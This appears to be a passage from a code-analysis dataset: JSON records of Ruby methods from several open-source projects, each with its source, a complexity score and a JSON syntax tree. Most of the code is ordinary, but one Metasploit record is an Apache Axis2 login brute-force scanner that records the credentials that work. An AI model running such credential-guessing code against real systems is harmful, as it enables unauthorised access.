"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fetch\"]},\"has_been_called_with?\",{\"type\":\"ivar\",\"children\":[\"@blob_key\"]},{\"type\":\"hash\",\"children\":[]}]}]}]}]}","id":"8c278885-6f91-46b9-803d-7229918be636"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/families/accept_invitation.rb","start_line":79,"raw_source":"def update_invitation\n      invitation.update!(status: :accepted)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"update_invitation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"invitation\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"accepted\"]}]}]}]}]}","id":"2e08d939-ccfe-409c-bc57-70b6d212096a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/container_expiration_policy_worker.rb","start_line":21,"raw_source":"def perform\n    process_stale_ongoing_cleanups\n    disable_policies_without_container_repositories\n    try_obtain_lease do\n      ContainerExpirationPolicies::CleanupContainerRepositoryWorker.perform_with_capacity\n    end\n    log_counts\n  end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"process_stale_ongoing_cleanups\"]},{\"type\":\"send\",\"children\":[null,\"disable_policies_without_container_repositories\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"try_obtain_lease\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ContainerExpirationPolicies\"]},\"CleanupContainerRepositoryWorker\"]},\"perform_with_capacity\"]}]},{\"type\":\"send\",\"children\":[null,\"log_counts\"]}]}]}","id":"dcbe6109-354d-4231-8fc4-0e7c1198cefd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/sidebars/projects/menus/ci_cd_menu.rb","start_line":42,"raw_source":"def pipelines_menu_item\n          ::Sidebars::MenuItem.new(\n            title: _('Pipelines'),\n            link: project_pipelines_path(context.project),\n            super_sidebar_parent: ::Sidebars::Projects::SuperSidebarMenus::BuildMenu,\n            container_html_options: { class: 'shortcuts-pipelines' },\n            active_routes: { path: pipelines_routes },\n            item_id: :pipelines\n          )\n        end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"pipelines_menu_item\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Sidebars\"]},\"MenuItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Pipelines\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"link\"]},{\"type\":\"send\",\"children\":[null,\"project_pipelines_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"project\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"super_sidebar_parent\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Sidebars\"]},\"Projects\"]},\"SuperSidebarMenus\"]},\"BuildMenu\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"container_html_options\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"shortcuts-pipelines\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"active_routes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[null,\"pipelines_routes\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"item_id\"]},{\"type\":\"sym\",\"children\":[\"pipelines\"]}]}]}]}]}","id":"eee139a7-96da-49eb-bfc7-a1468bcab64d"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/simplepress.rb","start_line":207,"raw_source":"def process_simplepress_post(raw, import_id)\n    s = raw.dup\n\n    # fix invalid byte sequence in UTF-8 (ArgumentError)\n    s.force_encoding(\"UTF-8\") unless s.valid_encoding?\n\n    # convert the quote line\n    s.gsub!(/\\[quote='([^']+)'.*?pid='(\\d+).*?\\]/) do\n      \"[quote=\\\"#{convert_username($1, import_id)}, \" +\n        post_id_to_post_num_and_topic($2, import_id) + '\"]'\n    end\n\n    # :) is encoded as <!-- s:) --><img src=\"{SMILIES_PATH}/icon_e_smile.gif\" alt=\":)\" title=\"Smile\" /><!-- s:) -->\n    s.gsub!(/<!-- s(\\S+) -->(?:.*)<!-- s(?:\\S+) -->/, '\\1')\n\n    # Some links look like this: <!-- m --><a class=\"postlink\" href=\"http://www.onegameamonth.com\">http://www.onegameamonth.com</a><!-- m -->\n    s.gsub!(%r{<!-- \\w --><a(?:.+)href=\"(\\S+)\"(?:.*)>(.+)</a><!-- \\w -->}, '[\\2](\\1)')\n\n    # Many phpbb bbcode tags have a hash attached to them. Examples:\n    #   [url=https&#58;//google&#46;com:1qh1i7ky]click here[/url:1qh1i7ky]\n    #   [quote=&quot;cybereality&quot;:b0wtlzex]Some text.[/quote:b0wtlzex]\n    s.gsub!(/:(?:\\w{8})\\]/, \"]\")\n\n    # Remove mybb video tags.\n    s.gsub!(%r{(^\\[video=.*?\\])|(\\[/video\\]$)}, \"\")\n\n    s = CGI.unescapeHTML(s)\n\n    # phpBB shortens link text like this, which breaks our markdown processing:\n    #   [http://answers.yahoo.com/question/index ... 223AAkkPli](http://answers.yahoo.com/question/index?qid=20070920134223AAkkPli)\n    #\n    # Work around it for now:\n    s.gsub!(%r{\\[http(s)?://(www\\.)?}, \"[\")\n\n    s\n  end","complexity_score":19.5,"ast_json":"{\"type\":\"def\",\"children\":[\"process_simplepress_post\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"raw\"]},{\"type\":\"arg\",\"children\":[\"import_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"s\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw\"]},\"dup\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"valid_encoding?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"force_encoding\",{\"type\":\"str\",\"children\":[\"UTF-8\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\[quote='([^']+)'.*?pid='(\\\\d+).*?\\\\]\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[quote=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"convert_username\",{\"type\":\"nth_ref\",\"children\":[1]},{\"type\":\"lvar\",\"children\":[\"import_id\"]}]}]},{\"type\":\"str\",\"children\":[\", \"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"post_id_to_post_num_and_topic\",{\"type\":\"nth_ref\",\"children\":[2]},{\"type\":\"lvar\",\"children\":[\"import_id\"]}]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\\"]\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<!-- s(\\\\S+) -->(?:.*)<!-- s(?:\\\\S+) -->\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\\\\1\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<!-- \\\\w --><a(?:.+)href=\\\"(\\\\S+)\\\"(?:.*)>(.+)</a><!-- \\\\w -->\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"[\\\\2](\\\\1)\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\":(?:\\\\w{8})\\\\]\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"]\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(^\\\\[video=.*?\\\\])|(\\\\[/video\\\\]$)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"s\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CGI\"]},\"unescapeHTML\",{\"type\":\"lvar\",\"children\":[\"s\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\[http(s)?://(www\\\\.)?\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"[\"]}]},{\"type\":\"lvar\",\"children\":[\"s\"]}]}]}","id":"bd3aa715-a293-40c2-b603-d0b4febc5cca"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/extensions/descendant_loader.rb","start_line":218,"raw_source":"def class_inheritance_relationships\n      @class_inheritance_relationships ||= begin\n        children = Hash.new { |h, k| h[k] = [] }\n        Dir.glob(descendants_paths.map { |path| Pathname.new(path).join('**/*.rb') }) do |file|\n          classes_in(file).each do |search_scopes, define_scopes, name, sklass|\n            possible_names = scoped_name(name, define_scopes)\n            possible_superklasses = scoped_name(sklass, search_scopes)\n\n            possible_superklasses.each do |possible_superklass|\n              children[possible_superklass].concat(possible_names)\n            end\n          end\n        end\n        children\n      end\n    end","complexity_score":30.2,"ast_json":"{\"type\":\"def\",\"children\":[\"class_inheritance_relationships\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@class_inheritance_relationships\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"children\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"h\"]},{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"k\"]},{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"glob\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"descendants_paths\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pathname\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},\"join\",{\"type\":\"str\",\"children\":[\"**/*.rb\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"classes_in\",{\"type\":\"lvar\",\"children\":[\"file\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"search_scopes\"]},{\"type\":\"arg\",\"children\":[\"define_scopes\"]},{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"sklass\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"possible_names\",{\"type\":\"send\",\"children\":[null,\"scoped_name\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"define_scopes\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"possible_superklasses\",{\"type\":\"send\",\"children\":[null,\"scoped_name\",{\"type\":\"lvar\",\"children\":[\"sklass\"]},{\"type\":\"lvar\",\"children\":[\"search_scopes\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"possible_superklasses\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"possible_superklass\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"children\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"possible_superklass\"]}]},\"concat\",{\"type\":\"lvar\",\"children\":[\"possible_names\"]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"children\"]}]}]}]}","id":"0b3be179-d3d9-43ba-8401-ee86e2891a84"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/axis_login.rb","start_line":45,"raw_source":"def run_host(ip)\n    uri = normalize_uri(target_uri.path)\n\n    print_status(\"Verifying login exists at #{target_url}\")\n    begin\n      send_request_cgi({\n        'method' => 'GET',\n        'uri' => uri\n      }, 20)\n    rescue => e\n      print_error(\"Failed to retrieve Axis2 login page at #{target_url}\")\n      print_error(\"Error: #{e.class}: #{e}\")\n      return\n    end\n\n    print_status \"#{target_url} - Apache Axis - Attempting authentication\"\n\n    cred_collection = build_credential_collection(\n      username: datastore['USERNAME'],\n      password: datastore['PASSWORD']\n    )\n\n    scanner = Metasploit::Framework::LoginScanner::Axis2.new(\n      configure_http_login_scanner(\n        uri: uri,\n        cred_details: cred_collection,\n        stop_on_success: datastore['STOP_ON_SUCCESS'],\n        bruteforce_speed: datastore['BRUTEFORCE_SPEED'],\n        connection_timeout: 5,\n        http_username: datastore['HttpUsername'],\n        http_password: datastore['HttpPassword']\n      )\n    )\n\n    scanner.scan! do |result|\n      credential_data = result.to_h\n      credential_data.merge!(\n        module_fullname: self.fullname,\n        workspace_id: myworkspace_id\n      )\n      case result.status\n      when Metasploit::Model::Login::Status::SUCCESSFUL\n        print_brute :level => :good, :ip => ip, :msg => \"Success: '#{result.credential}'\"\n        credential_core = create_credential(credential_data)\n        credential_data[:core] = credential_core\n        create_credential_login(credential_data)\n        :next_user\n      when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT\n        if datastore['VERBOSE']\n          print_brute :level => :verror, :ip => ip, :msg => \"Could not connect\"\n        end\n        invalidate_login(credential_data)\n        :abort\n      when Metasploit::Model::Login::Status::INCORRECT\n        if datastore['VERBOSE']\n          print_brute :level => :verror, :ip => ip, :msg => \"Failed: '#{result.credential}'\"\n        end\n        invalidate_login(credential_data)\n      end\n    end\n  end","complexity_score":79.68,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Verifying login exists at \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_url\"]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]}]},{\"type\":\"int\",\"children\":[20]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to retrieve Axis2 login page at \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_url\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Error: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_url\"]}]},{\"type\":\"str\",\"children\":[\" - Apache Axis - Attempting authentication\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cred_collection\",{\"type\":\"send\",\"children\":[null,\"build_credential_collection\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"scanner\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Framework\"]},\"LoginScanner\"]},\"Axis2\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"configure_http_login_scanner\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cred_details\"]},{\"type\":\"lvar\",\"children\":[\"cred_collection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stop_on_success\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"STOP_ON_SUCCESS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bruteforce_speed\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"BRUTEFORCE_SPEED\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"connection_timeout\"]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"http_username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HttpUsername\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"http_password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HttpPassword\"]}]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scanner\"]},\"scan!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"credential_data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"to_h\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_data\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_fullname\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"fullname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace_id\"]}]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"status\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"SUCCESSFUL\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_brute\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"level\"]},{\"type\":\"sym\",\"children\":[\"good\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ip\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"msg\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Success: '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"credential\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_core\",{\"type\":\"send\",\"children\":[null,\"create_credential\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"core\"]},{\"type\":\"lvar\",\"children\":[\"credential_core\"]}]},{\"type\":\"send\",\"children\":[null,\"create_credential_login\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]},{\"type\":\"sym\",\"children\":[\"next_user\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"UNABLE_TO_CONNECT\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"VERBOSE\"]}]},{\"type\":\"send\",\"children\":[null,\"print_brute\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"level\"]},{\"type\":\"sym\",\"children\":[\"verror\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ip\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"msg\"]},{\"type\":\"str\",\"children\":[\"Could not connect\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"invalidate_login\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]},{\"type\":\"sym\",\"children\":[\"abort\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"INCORRECT\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"VERBOSE\"]}]},{\"type\":\"send\",\"children\":[null,\"print_brute\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"level\"]},{\"type\":\"sym\",\"children\":[\"verror\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ip\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"msg\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed: '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"credential\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"invalidate_login\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]}]}]},null]}]}]}]}]}","id":"4128ec12-0011-44a2-8df4-6faf42676aa3"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/hash_alignment.rb","start_line":195,"raw_source":"def on_send(node)\n          return unless node.arguments?\n\n          last_argument = node.last_argument\n\n          return unless last_argument.hash_type? && ignore_hash_argument?(last_argument)\n\n          ignore_node(last_argument)\n        end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"on_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"arguments?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"last_argument\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"last_argument\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_argument\"]},\"hash_type?\"]},{\"type\":\"send\",\"children\":[null,\"ignore_hash_argument?\",{\"type\":\"lvar\",\"children\":[\"last_argument\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"ignore_node\",{\"type\":\"lvar\",\"children\":[\"last_argument\"]}]}]}]}","id":"a8c402f3-9e19-4c68-9d73-429b5992266c"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/actionpack/controller/render_test.rb","start_line":910,"raw_source":"def test_render_file\n    get :hello_world_file\n    assert_equal \"Hello world!\", @response.body\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_render_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"hello_world_file\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Hello world!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]}]}]}","id":"4e85b075-eea8-46bb-b6fb-6aedf13aed07"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/appletv/appletv_display_image.rb","start_line":9,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Apple TV Image Remote Control',\n        'Description' => %q{\n          This module will show an image on an AppleTV device for a period of time.\n          Some AppleTV devices are actually password-protected, in that case please\n          set the PASSWORD datastore option. For password brute forcing, please see\n          the module auxiliary/scanner/http/appletv_login.\n        },\n        'Author' => [\n          '0a29406d9794e4f9b30b3c5d6702c708', # Original work\n          'sinn3r' # You can blame me for mistakes\n        ],\n        'References' => [\n          ['URL', 'http://nto.github.io/AirPlay.html']\n        ],\n        'DefaultOptions' => { 'HttpUsername' => 'AirPlay' },\n        'License' => MSF_LICENSE,\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [IOC_IN_LOGS, SCREEN_EFFECTS],\n          'Reliability' => []\n        }\n      )\n    )\n\n    # Make the PASSWORD option more visible and hope the user is more aware of this option\n    register_options([\n      Opt::RPORT(7000),\n      OptInt.new('TIME', [true, 'Time in seconds to show the image', 10]),\n      OptPath.new('FILE', [true, 'Image to upload and show']),\n      